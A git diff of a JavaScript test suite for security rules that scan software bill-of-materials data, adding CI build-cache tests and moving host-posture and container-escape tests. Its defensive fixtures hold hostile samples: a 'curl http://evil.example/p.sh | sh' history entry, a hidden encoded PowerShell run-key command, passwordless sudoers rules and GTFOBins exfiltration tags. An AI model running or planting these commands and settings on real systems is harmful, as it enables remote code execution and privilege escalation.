+              value: "url",
+            },
+            {
+              name: "cdx:npm:manifestSource",
+              value: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-node",
+          version: "v4",
+          purl: "pkg:github/actions/setup-node@v4",
+          "bom-ref": "pkg:github/actions/setup-node@v4",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-node@v4",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
+            {
+              name: "cdx:github:action:buildCacheDisableInput",
+              value: "package-manager-cache",
+            },
+            {
+              name: "cdx:github:action:buildCacheDisableValue",
+              value: "false",
+            },
+            {
+              name: "cdx:github:workflow:file",
+              value: ".github/workflows/ci.yml",
+            },
+          ],
+        },
+      ],
     );
-    assert.strictEqual(findings[0].severity, "medium");
-  });
-
-  it("should detect degraded Windows Security Center posture (OBOM-WIN-002)", async () => {
-    const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-002");
-    assert.ok(rule, "OBOM-WIN-002 rule should exist");
-
-    const bom = makeBom([
-      makeComponent("Poor", "Poor", [
-        ["cdx:osquery:category", "windows_security_center"],
-      ]),
-    ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect unhealthy security center");
-    assert.strictEqual(findings[0].severity, "high");
+    assert.ok(findings.length > 0, "Should detect disabled npm cache");
+    assert.strictEqual(findings[0].severity, "medium");
   });
 
-  it("should detect suspicious Windows run key command (OBOM-WIN-003)", async () => {
+  it("should detect disabled npm cache for git manifest sources (CI-022)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-003");
-    assert.ok(rule, "OBOM-WIN-003 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-022");
+    assert.ok(rule, "CI-022 rule should exist");
 
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
-        version: "",
-        description:
-          "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA -w hidden",
-        purl: "pkg:swid/windows-run-key-updater",
-        "bom-ref": "pkg:swid/windows-run-key-updater",
-        properties: [
-          { name: "cdx:osquery:category", value: "windows_run_keys" },
-        ],
-      },
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "git-dep",
+          version: "2.0.0",
+          purl: "pkg:npm/git-dep@2.0.0",
+          "bom-ref": "pkg:npm/git-dep@2.0.0",
+          externalReferences: [
+            {
+              type: "distribution",
+              url: "git+https://github.com/acme/git-dep.git",
+            },
+          ],
+          properties: [
+            {
+              name: "cdx:npm:manifestSourceType",
+              value: "git",
+            },
+            {
+              name: "cdx:npm:manifestSource",
+              value: "git+https://github.com/acme/git-dep.git",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-node",
+          version: "v4",
+          purl: "pkg:github/actions/setup-node@v4",
+          "bom-ref": "pkg:github/actions/setup-node@v4",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-node@v4",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect suspicious run key command");
-    assert.strictEqual(findings[0].severity, "critical");
+    assert.ok(findings.length > 0, "Should detect disabled npm cache");
   });
 
-  it("should detect weak macOS ALF posture (OBOM-MAC-001)", async () => {
+  it("should not detect disabled npm cache for registry-only npm dependencies (CI-022)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-MAC-001");
-    assert.ok(rule, "OBOM-MAC-001 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-022");
+    assert.ok(rule, "CI-022 rule should exist");
 
-    const bom = makeBom([
-      makeComponent("alf", "0", [
-        ["cdx:osquery:category", "alf"],
-        ["stealth_enabled", "0"],
-      ]),
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "left-pad",
+          version: "1.3.0",
+          purl: "pkg:npm/left-pad@1.3.0",
+          "bom-ref": "pkg:npm/left-pad@1.3.0",
+          externalReferences: [
+            {
+              type: "distribution",
+              url: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-node",
+          version: "v4",
+          purl: "pkg:github/actions/setup-node@v4",
+          "bom-ref": "pkg:github/actions/setup-node@v4",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-node@v4",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect weak firewall posture");
-    assert.strictEqual(findings[0].severity, "high");
+    assert.strictEqual(findings.length, 0);
   });
 
-  it("should detect launchd temp-path persistence (OBOM-MAC-002)", async () => {
+  it("should not detect disabled npm cache for local path manifest sources (CI-022)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-MAC-002");
-    assert.ok(rule, "OBOM-MAC-002 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-022");
+    assert.ok(rule, "CI-022 rule should exist");
 
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "com.bad.agent",
-        version: "",
-        description: "",
-        purl: "pkg:swid/mac-launchd-bad-agent",
-        "bom-ref": "pkg:swid/mac-launchd-bad-agent",
-        properties: [
-          { name: "cdx:osquery:category", value: "launchd_services" },
-          { name: "path", value: "/tmp/com.bad.agent.plist" },
-          { name: "program", value: "/tmp/bad-agent" },
-          { name: "run_at_load", value: "true" },
-        ],
-      },
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "local-dep",
+          version: "1.0.0",
+          purl: "pkg:npm/local-dep@1.0.0",
+          "bom-ref": "pkg:npm/local-dep@1.0.0",
+          externalReferences: [
+            {
+              type: "distribution",
+              url: "file:../libs/local-dep",
+            },
+          ],
+          properties: [
+            {
+              name: "cdx:npm:manifestSourceType",
+              value: "path",
+            },
+            {
+              name: "cdx:npm:manifestSource",
+              value: "file:../libs/local-dep",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-node",
+          version: "v4",
+          purl: "pkg:github/actions/setup-node@v4",
+          "bom-ref": "pkg:github/actions/setup-node@v4",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-node@v4",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect suspicious launchd service");
-    assert.strictEqual(findings[0].severity, "critical");
+    assert.strictEqual(findings.length, 0);
   });
 
-  it("should detect risky macOS ALF user path exception (OBOM-MAC-003)", async () => {
+  it("should detect disabled Python cache when pylock sources use remote artifacts (CI-023)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-MAC-003");
-    assert.ok(rule, "OBOM-MAC-003 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-023");
+    assert.ok(rule, "CI-023 rule should exist");
 
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "/Users/alice/Downloads/remote-control.app",
-        version: "1",
-        description: "",
-        purl: "pkg:swid/mac-alf-exception",
-        "bom-ref": "pkg:swid/mac-alf-exception",
-        properties: [{ name: "cdx:osquery:category", value: "alf_exceptions" }],
-      },
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "requests",
+          version: "2.32.0",
+          purl: "pkg:pypi/requests@2.32.0",
+          "bom-ref": "pkg:pypi/requests@2.32.0",
+          properties: [
+            {
+              name: "cdx:pypi:manifestSourceType",
+              value: "url",
+            },
+            {
+              name: "cdx:pypi:manifestSource",
+              value:
+                "https://files.pythonhosted.org/packages/requests-2.32.0.tar.gz",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-python",
+          version: "v5",
+          purl: "pkg:github/actions/setup-python@v5",
+          "bom-ref": "pkg:github/actions/setup-python@v5",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-python@v5",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
+            {
+              name: "cdx:github:action:buildCacheDisableInput",
+              value: "cache",
+            },
+            {
+              name: "cdx:github:action:buildCacheDisableValue",
+              value: "false",
+            },
+            {
+              name: "cdx:github:workflow:file",
+              value: ".github/workflows/ci.yml",
+            },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect risky ALF exception path");
+    assert.ok(findings.length > 0, "Should detect disabled Python cache");
     assert.strictEqual(findings[0].severity, "medium");
   });
 
-  it("should detect broad sudoers rule (OBOM-LNX-002)", async () => {
+  it("should detect disabled Python cache for git manifest sources (CI-023)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-002");
-    assert.ok(rule, "OBOM-LNX-002 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-023");
+    assert.ok(rule, "CI-023 rule should exist");
 
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "admin-policy",
-        version: "",
-        description: "admin ALL=(ALL) NOPASSWD:ALL",
-        purl: "pkg:swid/admin-policy",
-        "bom-ref": "pkg:swid/admin-policy",
-        properties: [
-          { name: "cdx:osquery:category", value: "sudoers_snapshot" },
-        ],
-      },
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "private-lib",
+          version: "1.0.0",
+          purl: "pkg:pypi/private-lib@1.0.0",
+          "bom-ref": "pkg:pypi/private-lib@1.0.0",
+          properties: [
+            {
+              name: "cdx:pypi:manifestSourceType",
+              value: "git",
+            },
+            {
+              name: "cdx:pypi:manifestSource",
+              value: "git+https://github.com/acme/private-lib.git",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-python",
+          version: "v5",
+          purl: "pkg:github/actions/setup-python@v5",
+          "bom-ref": "pkg:github/actions/setup-python@v5",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-python@v5",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect broad sudoers policy");
-    assert.strictEqual(findings[0].severity, "high");
+    assert.ok(findings.length > 0, "Should detect disabled Python cache");
   });
 
-  it("should detect ALL=(ALL) ALL sudoers rule (OBOM-LNX-002)", async () => {
+  it("should not detect disabled Python cache for registry-only lockfile sources (CI-023)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-002");
-    assert.ok(rule, "OBOM-LNX-002 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-023");
+    assert.ok(rule, "CI-023 rule should exist");
 
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "legacy-admin-policy",
-        version: "",
-        description: "admin ALL=(ALL) ALL",
-        purl: "pkg:swid/legacy-admin-policy",
-        "bom-ref": "pkg:swid/legacy-admin-policy",
-        properties: [
-          { name: "cdx:osquery:category", value: "sudoers_snapshot" },
-        ],
-      },
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "requests",
+          version: "2.32.0",
+          purl: "pkg:pypi/requests@2.32.0",
+          "bom-ref": "pkg:pypi/requests@2.32.0",
+          properties: [
+            {
+              name: "cdx:pylock:archive",
+              value:
+                '{"url":"https://files.pythonhosted.org/packages/requests-2.32.0.tar.gz"}',
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-python",
+          version: "v5",
+          purl: "pkg:github/actions/setup-python@v5",
+          "bom-ref": "pkg:github/actions/setup-python@v5",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-python@v5",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(
-      findings.length > 0,
-      "Should detect ALL=(ALL) ALL sudoers policy",
-    );
-    assert.strictEqual(findings[0].severity, "high");
+    assert.strictEqual(findings.length, 0);
   });
 
-  it("should detect suspicious shell history commands (OBOM-LNX-004)", async () => {
+  it("should not detect disabled Python cache for local path manifest sources (CI-023)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-004");
-    assert.ok(rule, "OBOM-LNX-004 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-023");
+    assert.ok(rule, "CI-023 rule should exist");
 
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "analyst",
-        version: "",
-        description: "curl http://evil.example/p.sh | sh",
-        purl: "pkg:swid/analyst-shell-history",
-        "bom-ref": "pkg:swid/analyst-shell-history",
-        properties: [
-          { name: "cdx:osquery:category", value: "shell_history_snapshot" },
-          { name: "history_file", value: "/home/analyst/.bash_history" },
-        ],
-      },
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "local-lib",
+          version: "1.0.0",
+          purl: "pkg:pypi/local-lib@1.0.0",
+          "bom-ref": "pkg:pypi/local-lib@1.0.0",
+          properties: [
+            {
+              name: "cdx:pypi:manifestSourceType",
+              value: "path",
+            },
+            {
+              name: "cdx:pypi:manifestSource",
+              value: "../libs/local-lib",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-python",
+          version: "v5",
+          purl: "pkg:github/actions/setup-python@v5",
+          "bom-ref": "pkg:github/actions/setup-python@v5",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "actions/setup-python@v5",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect suspicious shell history");
-    assert.strictEqual(findings[0].severity, "high");
+    assert.strictEqual(findings.length, 0);
   });
 
-  it("should detect exposed docker daemon API (OBOM-LNX-005)", async () => {
+  it("should detect disabled Cargo cache for git manifest sources (CI-024)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-005");
-    assert.ok(rule, "OBOM-LNX-005 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-024");
+    assert.ok(rule, "CI-024 rule should exist");
 
-    const bom = makeBom([
-      makeComponent("dockerd", "2375", [
-        ["cdx:osquery:category", "listening_ports"],
-        ["address", "0.0.0.0"],
-        ["port", "2375"],
-        ["protocol", "6"],
-      ]),
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "git-crate",
+          version: "git+https://github.com/acme/git-crate.git",
+          purl: "pkg:cargo/git-crate@git+https://github.com/acme/git-crate.git",
+          "bom-ref":
+            "pkg:cargo/git-crate@git+https://github.com/acme/git-crate.git",
+          properties: [
+            {
+              name: "cdx:cargo:git",
+              value: "https://github.com/acme/git-crate.git",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-rust",
+          version: "v1",
+          purl: "pkg:github/moonrepo/setup-rust@v1",
+          "bom-ref": "pkg:github/moonrepo/setup-rust@v1",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "moonrepo/setup-rust@v1",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "cargo" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect exposed docker daemon API");
-    assert.strictEqual(findings[0].severity, "critical");
+    assert.ok(findings.length > 0, "Should detect disabled Cargo cache");
+    assert.strictEqual(findings[0].severity, "medium");
   });
 
-  it("should detect setuid GTFOBins execution primitive (CTR-001)", async () => {
+  it("should not detect disabled Cargo cache for local path manifest sources (CI-024)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "CTR-001");
-    assert.ok(rule, "CTR-001 rule should exist");
+    const rule = rules.find((r) => r.id === "CI-024");
+    assert.ok(rule, "CI-024 rule should exist");
 
-    const bom = makeBom([
-      {
-        type: "file",
-        name: "bash",
-        version: "",
-        description: "",
-        purl: "pkg:generic/bash",
-        "bom-ref": "pkg:generic/bash",
-        properties: [
-          { name: "SrcFile", value: "/bin/bash" },
-          { name: "internal:has_setuid", value: "true" },
-          { name: "cdx:gtfobins:matched", value: "true" },
-          { name: "cdx:gtfobins:name", value: "bash" },
-          { name: "cdx:gtfobins:functions", value: "shell,command,upload" },
-          { name: "cdx:gtfobins:contexts", value: "unprivileged,sudo,suid" },
-          {
-            name: "cdx:gtfobins:riskTags",
-            value: "data-exfiltration,lateral-movement,privilege-escalation",
-          },
-          {
-            name: "cdx:gtfobins:reference",
-            value: "https://gtfobins.github.io/gtfobins/bash/",
-          },
-        ],
-      },
-    ]);
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "path-crate",
+          version: "path+../path-crate",
+          purl: "pkg:cargo/path-crate@path+../path-crate",
+          "bom-ref": "pkg:cargo/path-crate@path+../path-crate",
+          properties: [
+            {
+              name: "cdx:cargo:path",
+              value: "../path-crate",
+            },
+          ],
+        },
+      ],
+      [],
+      [
+        {
+          type: "application",
+          name: "setup-rust",
+          version: "v1",
+          purl: "pkg:github/moonrepo/setup-rust@v1",
+          "bom-ref": "pkg:github/moonrepo/setup-rust@v1",
+          properties: [
+            {
+              name: "cdx:github:action:uses",
+              value: "moonrepo/setup-rust@v1",
+            },
+            { name: "cdx:github:action:disablesBuildCache", value: "true" },
+            { name: "cdx:github:action:buildCacheEcosystem", value: "cargo" },
+          ],
+        },
+      ],
+    );
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect setuid GTFOBins primitive");
-    assert.strictEqual(findings[0].severity, "critical");
+    assert.strictEqual(findings.length, 0);
   });
 
-  it("should detect privileged container-escape helper (CTR-002)", async () => {
+  it("should detect root authorized_keys without restrictions (OBOM-LNX-003)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "CTR-002");
-    assert.ok(rule, "CTR-002 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-003");
+    assert.ok(rule, "OBOM-LNX-003 rule should exist");
 
     const bom = makeBom([
       {
-        type: "file",
-        name: "docker",
-        version: "",
+        type: "data",
+        name: "root",
+        version: "ssh-rsa",
         description: "",
-        purl: "pkg:generic/docker",
-        "bom-ref": "pkg:generic/docker",
+        purl: "pkg:swid/root-authorized-keys",
+        "bom-ref": "pkg:swid/root-authorized-keys",
         properties: [
-          { name: "SrcFile", value: "/usr/bin/docker" },
-          { name: "cdx:gtfobins:matched", value: "true" },
-          { name: "cdx:gtfobins:name", value: "docker" },
-          { name: "cdx:gtfobins:functions", value: "shell,command" },
-          {
-            name: "cdx:gtfobins:privilegedContexts",
-            value: "capabilities",
-          },
-          { name: "cdx:gtfobins:riskTags", value: "container-escape" },
+          { name: "cdx:osquery:category", value: "authorized_keys_snapshot" },
+          { name: "key_file", value: "/root/.ssh/authorized_keys" },
+          { name: "options", value: "" },
         ],
       },
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect privileged escape helper");
-    assert.strictEqual(findings[0].severity, "critical");
+    assert.ok(
+      findings.length > 0,
+      "Should detect unrestricted root authorized_keys entry",
+    );
+    assert.strictEqual(findings[0].severity, "medium");
   });
 
-  it("should detect privileged GTFOBins exfiltration primitive (CTR-004)", async () => {
+  it("should detect degraded Windows Security Center posture (OBOM-WIN-002)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "CTR-004");
-    assert.ok(rule, "CTR-004 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-WIN-002");
+    assert.ok(rule, "OBOM-WIN-002 rule should exist");
 
     const bom = makeBom([
-      {
-        type: "file",
-        name: "bash",
-        version: "",
-        description: "",
-        purl: "pkg:generic/bash",
-        "bom-ref": "pkg:generic/bash",
-        properties: [
-          { name: "SrcFile", value: "/usr/bin/bash" },
-          { name: "internal:has_setgid", value: "true" },
-          { name: "cdx:gtfobins:matched", value: "true" },
-          { name: "cdx:gtfobins:name", value: "bash" },
-          { name: "cdx:gtfobins:functions", value: "shell,file-read,upload" },
-          { name: "cdx:gtfobins:privilegedContexts", value: "suid" },
-          {
-            name: "cdx:gtfobins:riskTags",
-            value: "data-exfiltration,privilege-escalation",
-          },
-        ],
-      },
+      makeComponent("Poor", "Poor", [
+        ["cdx:osquery:category", "windows_security_center"],
+      ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(
-      findings.length > 0,
-      "Should detect privileged GTFOBins exfiltration helper",
-    );
+    assert.ok(findings.length > 0, "Should detect unhealthy security center");
     assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("should detect privileged GTFOBins library-load primitive (CTR-003)", async () => {
+  it("should detect suspicious Windows run key command (OBOM-WIN-003)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "CTR-003");
-    assert.ok(rule, "CTR-003 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-WIN-003");
+    assert.ok(rule, "OBOM-WIN-003 rule should exist");
 
     const bom = makeBom([
       {
-        type: "file",
-        name: "bash",
+        type: "data",
+        name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
         version: "",
-        description: "",
-        purl: "pkg:generic/bash",
-        "bom-ref": "pkg:generic/bash",
+        description:
+          "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA -w hidden",
+        purl: "pkg:swid/windows-run-key-updater",
+        "bom-ref": "pkg:swid/windows-run-key-updater",
         properties: [
-          { name: "SrcFile", value: "/bin/bash" },
-          { name: "cdx:gtfobins:matched", value: "true" },
-          { name: "cdx:gtfobins:name", value: "bash" },
-          {
-            name: "cdx:gtfobins:functions",
-            value: "shell,library-load,privilege-escalation",
-          },
-          {
-            name: "cdx:gtfobins:privilegedContexts",
-            value: "sudo,suid",
-          },
+          { name: "cdx:osquery:category", value: "windows_run_keys" },
         ],
       },
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(
-      findings.length > 0,
-      "Should detect privileged GTFOBins library-load helper",
-    );
-    assert.strictEqual(findings[0].severity, "high");
+    assert.ok(findings.length > 0, "Should detect suspicious run key command");
+    assert.strictEqual(findings[0].severity, "critical");
   });
 
-  it("should detect mutable-path GTFOBins remote execution helper (CTR-005)", async () => {
+  it("should detect weak macOS ALF posture (OBOM-MAC-001)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "CTR-005");
-    assert.ok(rule, "CTR-005 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-MAC-001");
+    assert.ok(rule, "OBOM-MAC-001 rule should exist");
 
     const bom = makeBom([
-      {
-        type: "file",
-        name: "bash",
-        version: "",
-        description: "",
-        purl: "pkg:generic/bash",
-        "bom-ref": "pkg:generic/bash",
-        properties: [
-          { name: "SrcFile", value: "/usr/local/bin/bash" },
-          { name: "cdx:gtfobins:matched", value: "true" },
-          { name: "cdx:gtfobins:name", value: "bash" },
-          { name: "cdx:gtfobins:functions", value: "shell,upload,download" },
-          {
-            name: "cdx:gtfobins:riskTags",
-            value: "data-exfiltration,lateral-movement",
-          },
-        ],
-      },
+      makeComponent("alf", "0", [
+        ["cdx:osquery:category", "alf"],
+        ["stealth_enabled", "0"],
+      ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(
-      findings.length > 0,
-      "Should detect mutable-path GTFOBins helper",
-    );
-    assert.strictEqual(findings[0].severity, "medium");
+    assert.ok(findings.length > 0, "Should detect weak firewall posture");
+    assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("should detect dedicated offensive container toolkits (CTR-006)", async () => {
+  it("should detect launchd temp-path persistence (OBOM-MAC-002)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "CTR-006");
-    assert.ok(rule, "CTR-006 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-MAC-002");
+    assert.ok(rule, "OBOM-MAC-002 rule should exist");
 
     const bom = makeBom([
       {
-        type: "file",
-        name: "deepce",
+        type: "data",
+        name: "com.bad.agent",
         version: "",
         description: "",
-        purl: "pkg:generic/deepce",
-        "bom-ref": "pkg:generic/deepce",
+        purl: "pkg:swid/mac-launchd-bad-agent",
+        "bom-ref": "pkg:swid/mac-launchd-bad-agent",
         properties: [
-          { name: "SrcFile", value: "/usr/local/bin/deepce" },
-          { name: "cdx:container:matched", value: "true" },
-          { name: "cdx:container:name", value: "deepce" },
-          { name: "cdx:container:offenseTools", value: "deepce" },
-          {
-            name: "cdx:container:riskTags",
-            value: "container-escape,credential-access,offensive-toolkit",
-          },
-          {
-            name: "cdx:container:attackTechniques",
-            value: "T1552.007,T1611,T1613",
-          },
+          { name: "cdx:osquery:category", value: "launchd_services" },
+          { name: "path", value: "/tmp/com.bad.agent.plist" },
+          { name: "program", value: "/tmp/bad-agent" },
+          { name: "run_at_load", value: "true" },
         ],
       },
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect offensive toolkit presence");
-    assert.strictEqual(findings[0].severity, "high");
+    assert.ok(findings.length > 0, "Should detect suspicious launchd service");
+    assert.strictEqual(findings[0].severity, "critical");
   });
 
-  it("should detect seccomp-sensitive namespace escape helpers (CTR-007)", async () => {
+  it("should detect risky macOS ALF user path exception (OBOM-MAC-003)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "CTR-007");
-    assert.ok(rule, "CTR-007 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-MAC-003");
+    assert.ok(rule, "OBOM-MAC-003 rule should exist");
 
     const bom = makeBom([
       {
-        type: "file",
-        name: "nsenter",
-        version: "",
+        type: "data",
+        name: "/Users/alice/Downloads/remote-control.app",
+        version: "1",
         description: "",
-        purl: "pkg:generic/nsenter",
-        "bom-ref": "pkg:generic/nsenter",
-        properties: [
-          { name: "SrcFile", value: "/usr/bin/nsenter" },
-          { name: "cdx:container:matched", value: "true" },
-          { name: "cdx:container:name", value: "nsenter" },
-          { name: "cdx:container:offenseTools", value: "cdk,deepce" },
-          {
-            name: "cdx:container:riskTags",
-            value: "container-escape,namespace-escape",
-          },
-          {
-            name: "cdx:container:seccompBlockedSyscalls",
-            value: "ptrace,setns,unshare",
-          },
-          { name: "cdx:container:seccompProfile", value: "docker-default" },
-        ],
+        purl: "pkg:swid/mac-alf-exception",
+        "bom-ref": "pkg:swid/mac-alf-exception",
+        properties: [{ name: "cdx:osquery:category", value: "alf_exceptions" }],
       },
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(
-      findings.length > 0,
-      "Should detect seccomp-sensitive escape helper",
-    );
+    assert.ok(findings.length > 0, "Should detect risky ALF exception path");
     assert.strictEqual(findings[0].severity, "medium");
   });
 
-  it("should detect privileged listener exposed on all interfaces (OBOM-LNX-006)", async () => {
+  it("should detect broad sudoers rule (OBOM-LNX-002)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-006");
-    assert.ok(rule, "OBOM-LNX-006 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-002");
+    assert.ok(rule, "OBOM-LNX-002 rule should exist");
 
     const bom = makeBom([
       {
-        type: "application",
-        name: "cockpit-ws",
-        version: "9090",
+        type: "data",
+        name: "admin-policy",
+        version: "",
+        description: "admin ALL=(ALL) NOPASSWD:ALL",
+        purl: "pkg:swid/admin-policy",
+        "bom-ref": "pkg:swid/admin-policy",
+        properties: [
+          { name: "cdx:osquery:category", value: "sudoers_snapshot" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect broad sudoers policy");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect ALL=(ALL) ALL sudoers rule (OBOM-LNX-002)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-002");
+    assert.ok(rule, "OBOM-LNX-002 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "legacy-admin-policy",
+        version: "",
+        description: "admin ALL=(ALL) ALL",
+        purl: "pkg:swid/legacy-admin-policy",
+        "bom-ref": "pkg:swid/legacy-admin-policy",
+        properties: [
+          { name: "cdx:osquery:category", value: "sudoers_snapshot" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect ALL=(ALL) ALL sudoers policy",
+    );
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
